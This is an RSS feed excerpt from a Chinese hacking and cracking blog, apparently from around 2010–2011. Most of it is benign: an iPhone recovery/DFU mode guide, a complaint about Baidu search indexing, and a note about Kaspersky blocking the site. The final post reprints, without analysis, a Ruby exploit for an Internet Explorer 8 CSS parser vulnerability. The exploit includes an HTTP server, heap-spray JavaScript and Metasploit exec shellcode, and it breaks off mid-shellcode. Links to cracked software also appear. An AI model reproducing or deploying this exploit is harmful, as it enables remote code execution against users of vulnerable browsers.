<li><span style="color: #993366;">一直按住Home键，直到你在设备屏幕上看到“连接到iTunes”的图片时你就进入到恢复模式了</span></li>
</ol>
<p><span style="color: #ff0000;"><em>退出恢复模式：安装电源键10秒即可。</em></span></p>
<p><strong><span style="color: #ff00ff;">进入DFU模式：</span></strong></p>
<ol>
<li><span style="color: #993366;">把设备连接到PC；</span></li>
<li><span style="color: #993366;">关闭设备；</span></li>
<li><span style="color: #993366;">同时按住Home键和电源键十秒（要精确计时哦）</span></li>
<li><span style="color: #993366;">松开电源键，继续按住Home键，直到在电脑上看到识别到DFU状态下的USB设备时就进入到DFU模式了；</span></li>
<li><span style="color: #993366;">在经过数秒之后iTunes就可以检测并识别到处于DFU模式下的设备了；</span></li>
<li><span style="color: #993366;">如果在设备上出现恢复图标那么你是处于恢复模式下，而不是DFU模式。</span></li>
</ol>
<p><em><span style="color: #ff0000;">退出DFU模式：按住Home键和电源键10秒，设备关机之后重新启动设备即可。</span></em></p>
<p>原文链接：<a href="http://www.ihackintosh.com/2009/06/recovery-mode-and-dfu-mode/" target="_blank">http://www.ihackintosh.com/2009/06/recovery-mode-and-dfu-mode/</a></p>
<p>&nbsp;</p>
<p>&nbsp;<br />
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2011/10/hashab-for-ios-4-x/" title="HashAB for iOS 4.x " rel="bookmark inlinks">HashAB for iOS 4.x </a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/10/tom-dowdy-found-in-itunes/" title="Tom Dowdy (Found in iTunes)" rel="bookmark inlinks">Tom Dowdy (Found in iTunes)</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/07/itunes-10-3-0-55-64bit-vesion/" title="iTunes 10.3.0.55 64bit Vesion" rel="bookmark inlinks">iTunes 10.3.0.55 64bit Vesion</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/08/ida-gdbserver-iphone-debug/" title="IDA + GDBServer实现iPhone程序远程调试" rel="bookmark inlinks">IDA + GDBServer实现iPhone程序远程调试</a><span class="count">( 4 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/05/itunes-over-authorize/" title="iTunes 无限授权" rel="bookmark inlinks">iTunes 无限授权</a><span class="count">( 2 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/09/recovery-mode-and-dfu-mode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于搜索引擎 Google/百毒</title>
		<link>http://www.h4ck.org.cn/2011/03/google-and-baidu/</link>
		<comments>http://www.h4ck.org.cn/2011/03/google-and-baidu/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 05:25:21 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[个人日记『Diary』]]></category>
		<category><![CDATA[博客相关『Blogger/WordPress』]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=2623</guid>
		<description><![CDATA[偶然看了一下博客访问量的统计数据，发现从百毒已经基本没有流量过来了。而绝大多数的流量来自Google。PV和IP基本是一个统一的关系，通过上面的图可以看到以前大约是在月初的时候百毒还是能带来几个IP的，但是到了五号就没有任何的流量了基本。话说博客本身没有多少访问量，但是百毒这点数据也这狗丢人的。]]></description>
			<content:encoded><![CDATA[<p><a rel="lightbox" href="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Google.png" title="Google"><img title="Google" src="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Google.png" alt="" width="650" height="492" /></a></p>
<p>偶然看了一下博客访问量的统计数据，发现从百毒已经基本没有流量过来了。而绝大多数的流量来自Google。PV和IP基本是一个统一的关系，通过上面的图可以看到以前大约是在月初的时候百毒还是能带来几个IP的，但是到了五号就没有任何的流量了基本。话说博客本身没有多少访问量，但是百毒这点数据也这狗丢人的。<br />
<span id="more-2623"></span><br />
然后查看了一下博客的收录结果数，就是下面的两幅图片的样子：</p>
<p><a rel="lightbox" href="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Google-Result.png" title="Google Result"><img title="Google Result" src="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Google-Result.png" alt="" width="626" height="196" /></a></p>
<p>上图是Google的搜索结果，大约有1890项，点击后面的链接查看结果：<a href="http://www.google.com/search?hl=en&amp;source=hp&amp;q=site%3Ah4ck.org.cn&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=" target="_blank">http://www.google.com/search?hl=en&amp;source=hp&amp;q=site%3Ah4ck.org.cn&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=</a>。</p>
<p>而现在看看百毒的结果：</p>
<p><a rel="lightbox" href="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Baidu-Result.png" title="Baidu Result"><img title="Baidu Result" src="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Baidu-Result.png" alt="" width="608" height="91" /></a></p>
<p>只有28个结果，哈哈。真是神奇的搜索引擎啊！如果不相信可以点击后的链接测试：<a href="http://www.baidu.com/s?wd=site%3Ah4ck.org.cn" target="_blank">http://www.baidu.com/s?wd=site%3Ah4ck.org.cn</a> 如果你有自己的网站也可以看下自己的网站在不同的搜索引擎的收录数量。这就是号称全球最大的中文搜索引擎，真tmb的恶心。</p>
<p>既然只有28项，那么统计数据成了下面的样子也就在情理之中了：</p>
<p><a rel="lightbox" href="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Badidu.png" title="Badidu"><img title="Badidu" src="http://www.h4ck.org.cn/wp-content/uploads//2011/03/Badidu.png" alt="" width="638" height="271" /></a></p>
<p>所以搜索引擎变成这个结果也就是情理之中的。本人比较强穷，既然百毒屏蔽了本站，那么就屏蔽下去吧。</p>
<blockquote>
<h1><span style="color: #ff0000;">建议：</span></h1>
<h1><span style="color: #ff0000;">使用Google进行搜索，如果Google被重置可以使用Bing，不要整天什么“百毒一下，你就知道”，百毒一下你什么都不知道，还有可能被骗！ </span></h1>
</blockquote>
<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2012/01/android-os-and-software-protection-research/" title="Android OS and SoftWare Protection Research" rel="bookmark inlinks">Android OS and SoftWare Protection Research</a><span class="count">( 15 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/wordpress-tags-add/" title="WordPress 正文添加标签选项" rel="bookmark inlinks">WordPress 正文添加标签选项</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/04/top100cn-v4-0-1/" title="巨鲸音乐播放器 v4.0.1" rel="bookmark inlinks">巨鲸音乐播放器 v4.0.1</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/03/google-rip/" title="别在Google的墓碑前哭泣" rel="bookmark inlinks">别在Google的墓碑前哭泣</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/12/site-value/" title="博客/网站价值评估工具" rel="bookmark inlinks">博客/网站价值评估工具</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/12/picasatool-ad-free/" title="Android PicasaTool Ad Free" rel="bookmark inlinks">Android PicasaTool Ad Free</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/06/google-music-player-beta-v1-0/" title="Google Music Player Beta v1.0" rel="bookmark inlinks">Google Music Player Beta v1.0</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck/" title="WP绑定多个域名" rel="bookmark inlinks">WP绑定多个域名</a><span class="count">( 0 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/03/google-and-baidu/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>博客被卡巴斯基上网控制屏蔽</title>
		<link>http://www.h4ck.org.cn/2011/01/blog-blocked-by-kis/</link>
		<comments>http://www.h4ck.org.cn/2011/01/blog-blocked-by-kis/#comments</comments>
		<pubDate>Sun, 16 Jan 2011 12:00:19 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[个人日记『Diary』]]></category>
		<category><![CDATA[博客相关『Blogger/WordPress』]]></category>

		<guid isPermaLink="false">http://h4ck.ws/?p=2405</guid>
		<description><![CDATA[今天晚上到家之后发现能上网了，好久没有升级的卡巴斯基也毫不犹豫的自己升级了上去。结果升级完之后发现博客打不开了，提示信息如下：]]></description>
			<content:encoded><![CDATA[<p>今天晚上到家之后发现能上网了，好久没有升级的卡巴斯基也毫不犹豫的自己升级了上去。结果升级完之后发现博客打不开了，提示信息如下：</p>
<p><a rel="lightbox" href="http://h4ck.ws/wp-content/uploads//2011/01/h4ckorg.png" title="h4ckorg"><img title="h4ckorg" src="http://h4ck.ws/wp-content/uploads//2011/01/h4ckorg.png" alt="" width="349" height="316" /></a><br />
<span id="more-2405"></span><br />
并且访问另外的一个域名效果是同样的，也弹出了阻拦信息：</p>
<p><a rel="lightbox" href="http://h4ck.ws/wp-content/uploads//2011/01/h4ckws.png" title="h4ckws"><img title="h4ckws" src="http://h4ck.ws/wp-content/uploads//2011/01/h4ckws.png" alt="" width="351" height="317" /></a></p>
<p>个人认为并屏蔽的原因是由于破解软件较多，造成了这种状况。如果信任本章请将其加入排除列表，点击提示页面的“如果您认为网页错误的被阻止了，请点击此处”会弹出一个添加排除对话框，将其添加到排除列表就可以了，或者直接关闭上网控制功能，如果不信任本站请直接离开，谢谢。</p>
<p>今天睡觉睡的有点少，昨天晚上跑到世纪园的五楼打台球，话说很郁闷，那个球杆没有杆头，话说没有杆头也就罢了，太子竟然不是平的，有个台阶。于是每次都会看到那个球在桌子上跳来跳去，甚至直接飞了出去了。天哪。太神奇啦。</p>
<p>今天晚上看看能看完那几页代码不，如果看不完也早点休息。要不明天就起不来了。早睡早起，嘎嘎。 <img src='http://www.h4ck.org.cn/wp-content/plugins/smilies-themer/Julianus/20x20-big_smile.png' alt=':)' class='wp-smiley' /> <br />
<h3>随机文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2009/08/packer-unpack/" title="普通壳的脱壳方法和脱壳技巧【转载】" rel="bookmark inlinks">普通壳的脱壳方法和脱壳技巧【转载】</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/08/foobar-1-0-3-autolyric/" title="Foobar 1.0.3 歌词插件 --AutoLyric（奥特歌词）" rel="bookmark inlinks">Foobar 1.0.3 歌词插件 &#8211;AutoLyric（奥特歌词）</a><span class="count">( 1 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/08/google-music-player-v0-2-1/" title="谷歌音乐播放器 v0.2.1（Google Music Player v0.2.1）" rel="bookmark inlinks">谷歌音乐播放器 v0.2.1（Google Music Player v0.2.1）</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/08/ida-gdbserver-iphone-debug/" title="IDA + GDBServer实现iPhone程序远程调试" rel="bookmark inlinks">IDA + GDBServer实现iPhone程序远程调试</a><span class="count">( 4 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/04/sharpplus-sqlite-developer-3-8-3-cracked/" title="SharpPlus SQlite Developer 3.8.2.495 破解版" rel="bookmark inlinks">SharpPlus SQlite Developer 3.8.2.495 破解版</a><span class="count">( 6 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/zprotect-v1-4-1-carcked/" title="加密强壳ZProtect v1.4.1破解版" rel="bookmark inlinks">加密强壳ZProtect v1.4.1破解版</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/07/pacific-western-university/" title="偶的西太平洋大学文凭证书" rel="bookmark inlinks">偶的西太平洋大学文凭证书</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/12/sqlitemaestro-v11-3-0-1-crack-guide/" title="SQLiteMaestro v11.3.0.1 Crack Guide" rel="bookmark inlinks">SQLiteMaestro v11.3.0.1 Crack Guide</a><span class="count">( 0 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2011/01/blog-blocked-by-kis/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Internet Explorer 8 CSS Parser Exploit Code</title>
		<link>http://www.h4ck.org.cn/2010/12/internet-explorer-8-css-parser-exploit-code/</link>
		<comments>http://www.h4ck.org.cn/2010/12/internet-explorer-8-css-parser-exploit-code/#comments</comments>
		<pubDate>Sat, 25 Dec 2010 03:23:11 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[入侵渗透『Expliot/Injection』]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.h4ck.org.cn/?p=2326</guid>
		<description><![CDATA[Internet Explorer 8 CSS Parser Exploit Code]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/env ruby </span>
&nbsp;
<span style="color:#008000; font-style:italic;"># Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ </span>
<span style="color:#008000; font-style:italic;"># Author: Nephi Johnson (d0c_s4vage) </span>
&nbsp;
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'socket'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> http_send<span style="color:#006600; font-weight:bold;">&#40;</span>sock, data, opts=<span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
    defaults = <span style="color:#006600; font-weight:bold;">&#123;</span>:code<span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;200&quot;</span>, <span style="color:#ff3333; font-weight:bold;">:message</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;OK&quot;</span>, <span style="color:#ff3333; font-weight:bold;">:type</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;text/html&quot;</span><span style="color:#006600; font-weight:bold;">&#125;</span> 
    opts = defaults.<span style="color:#9900CC;">merge</span><span style="color:#006600; font-weight:bold;">&#40;</span>opts<span style="color:#006600; font-weight:bold;">&#41;</span> 
&nbsp;
    code = opts<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:code</span><span style="color:#006600; font-weight:bold;">&#93;</span> 
    message = opts<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:message</span><span style="color:#006600; font-weight:bold;">&#93;</span> 
    type = opts<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#ff3333; font-weight:bold;">:type</span><span style="color:#006600; font-weight:bold;">&#93;</span> 
&nbsp;
    to_send = <span style="color:#996600;">&quot;HTTP/1.1 #{code} #{message}<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;Date: Sat, 11 Dec 2010 14:20:23 GMT<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;Cache-Control: no-cache<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;Content-Type: #{type}<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;Pragma: no-cache<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;Content-Length: #{data.length}<span style="color:#000099;">\r</span><span style="color:#000099;">\n</span><span style="color:#000099;">\r</span><span style="color:#000099;">\n</span>&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> 
              <span style="color:#996600;">&quot;#{data}&quot;</span>
    <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;[+] Sending:&quot;</span>
    to_send.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;<span style="color:#000099;">\n</span>&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>line<span style="color:#006600; font-weight:bold;">|</span> 
        <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;    #{line}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
    sock.<span style="color:#9900CC;">write</span><span style="color:#006600; font-weight:bold;">&#40;</span>to_send<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#0000FF; font-weight:bold;">false</span>
    <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#0000FF; font-weight:bold;">true</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> sock_read<span style="color:#006600; font-weight:bold;">&#40;</span>sock, out_str, timeout=<span style="color:#006666;">5</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
    <span style="color:#9966CC; font-weight:bold;">begin</span>
        <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#CC00FF; font-weight:bold;">Kernel</span>.<span style="color:#CC0066; font-weight:bold;">select</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#91;</span>sock<span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,timeout<span style="color:#006600; font-weight:bold;">&#41;</span> 
            out_str.<span style="color:#9900CC;">replace</span><span style="color:#006600; font-weight:bold;">&#40;</span>sock.<span style="color:#9900CC;">recv</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">1024</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
            <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;[+] Received:&quot;</span>
            out_str.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;<span style="color:#000099;">\n</span>&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>line<span style="color:#006600; font-weight:bold;">|</span> 
                <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;    #{line}&quot;</span>
            <span style="color:#9966CC; font-weight:bold;">end</span>
        <span style="color:#9966CC; font-weight:bold;">else</span>
            sock.<span style="color:#9900CC;">close</span> 
            <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#0000FF; font-weight:bold;">false</span>
        <span style="color:#9966CC; font-weight:bold;">end</span>
    <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#CC00FF; font-weight:bold;">Exception</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> ex 
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#0000FF; font-weight:bold;">false</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">def</span> to_uni<span style="color:#006600; font-weight:bold;">&#40;</span>str<span style="color:#006600; font-weight:bold;">&#41;</span> 
    res = <span style="color:#996600;">&quot;&quot;</span>
    str.<span style="color:#9900CC;">each_byte</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>b<span style="color:#006600; font-weight:bold;">|</span> 
        res <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00#{b.chr}&quot;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
    res 
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p><span id="more-2326"></span>
</pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#0066ff; font-weight:bold;">@css_name</span> = <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00s<span style="color:#000099;">\x</span>03s<span style="color:#000099;">\x</span>00s<span style="color:#000099;">\x</span>03s<span style="color:#000099;">\x</span>00s<span style="color:#000099;">\x</span>03s<span style="color:#000099;">\x</span>00s<span style="color:#000099;">\x</span>03s&quot;</span>
<span style="color:#0066ff; font-weight:bold;">@html_name</span> = <span style="color:#996600;">&quot;test.html&quot;</span>
placeholder = <span style="color:#996600;">&quot;a&quot;</span> <span style="color:#006600; font-weight:bold;">*</span> <span style="color:#006600; font-weight:bold;">&#40;</span>@css_name.<span style="color:#9900CC;">length</span><span style="color:#006600; font-weight:bold;">/</span><span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
&nbsp;
<span style="color:#0066ff; font-weight:bold;">@html</span> = <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006600; font-weight:bold;">&lt;-</span>HTML
    <span style="color:#006600; font-weight:bold;">&lt;</span>script<span style="color:#006600; font-weight:bold;">&gt;</span> 
    function dup_str<span style="color:#006600; font-weight:bold;">&#40;</span>str, length<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
        var res = str; 
        <span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>res.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&lt;</span> length<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
            res <span style="color:#006600; font-weight:bold;">+</span>= res; 
        <span style="color:#006600; font-weight:bold;">&#125;</span> 
        res = res.<span style="color:#9900CC;">substr</span><span style="color:#006600; font-weight:bold;">&#40;</span>res.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">-</span> length<span style="color:#006600; font-weight:bold;">&#41;</span>; 
        <span style="color:#0000FF; font-weight:bold;">return</span> res; 
    <span style="color:#006600; font-weight:bold;">&#125;</span> 
&nbsp;
    function to_bin<span style="color:#006600; font-weight:bold;">&#40;</span>str<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
        var res = <span style="color:#996600;">&quot;&quot;</span>; 
        <span style="color:#9966CC; font-weight:bold;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
            var first = str.<span style="color:#9900CC;">substr</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">0</span>, <span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
            var second = str.<span style="color:#9900CC;">substr</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">2</span>, <span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
            res <span style="color:#006600; font-weight:bold;">+</span>= <span style="color:#996600;">&quot;%u&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> second <span style="color:#006600; font-weight:bold;">+</span> first; 
            str = <span style="color:#006600; font-weight:bold;">&#40;</span>str.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#41;</span> ? str.<span style="color:#9900CC;">substr</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#41;</span> : <span style="color:#996600;">&quot;&quot;</span>; 
        <span style="color:#006600; font-weight:bold;">&#125;</span> 
        <span style="color:#0000FF; font-weight:bold;">return</span> unescape<span style="color:#006600; font-weight:bold;">&#40;</span>res<span style="color:#006600; font-weight:bold;">&#41;</span>; 
    <span style="color:#006600; font-weight:bold;">&#125;</span> 
&nbsp;
    <span style="color:#006600; font-weight:bold;">//</span> first heap spray 
    var base = dup_str<span style="color:#006600; font-weight:bold;">&#40;</span>to_bin<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;0c0c0c0900000008000000730073030100000000010000730073030c&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>, <span style="color:#006666;">512</span><span style="color:#006600; font-weight:bold;">+</span><span style="color:#006666;">6</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    var arr = <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span> 
    <span style="color:#9966CC; font-weight:bold;">for</span><span style="color:#006600; font-weight:bold;">&#40;</span>var i = <span style="color:#006666;">0</span>; i <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006666;">60000</span>; i<span style="color:#006600; font-weight:bold;">++</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
        arr<span style="color:#006600; font-weight:bold;">&#91;</span>i<span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">&quot;&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> base<span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">join</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    <span style="color:#006600; font-weight:bold;">&#125;</span> 
&nbsp;
    <span style="color:#006600; font-weight:bold;">//</span> second heap spray w<span style="color:#006600; font-weight:bold;">/</span> shellcode 
    var nops = dup_str<span style="color:#006600; font-weight:bold;">&#40;</span>to_bin<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;0c0c0c0c&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>, <span style="color:#006666;">4096</span><span style="color:#006600; font-weight:bold;">+</span><span style="color:#006666;">6</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
&nbsp;
    <span style="color:#006600; font-weight:bold;">//</span> windows<span style="color:#006600; font-weight:bold;">/</span><span style="color:#CC0066; font-weight:bold;">exec</span> <span style="color:#006600; font-weight:bold;">-</span> <span style="color:#006666;">200</span> bytes 
    <span style="color:#006600; font-weight:bold;">//</span> http:<span style="color:#006600; font-weight:bold;">//</span>www.<span style="color:#9900CC;">metasploit</span>.<span style="color:#9900CC;">com</span> 
    <span style="color:#006600; font-weight:bold;">//</span> EXITFUNC=process, CMD=calc.<span style="color:#9900CC;">exe</span> 
    var shellcode = unescape<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
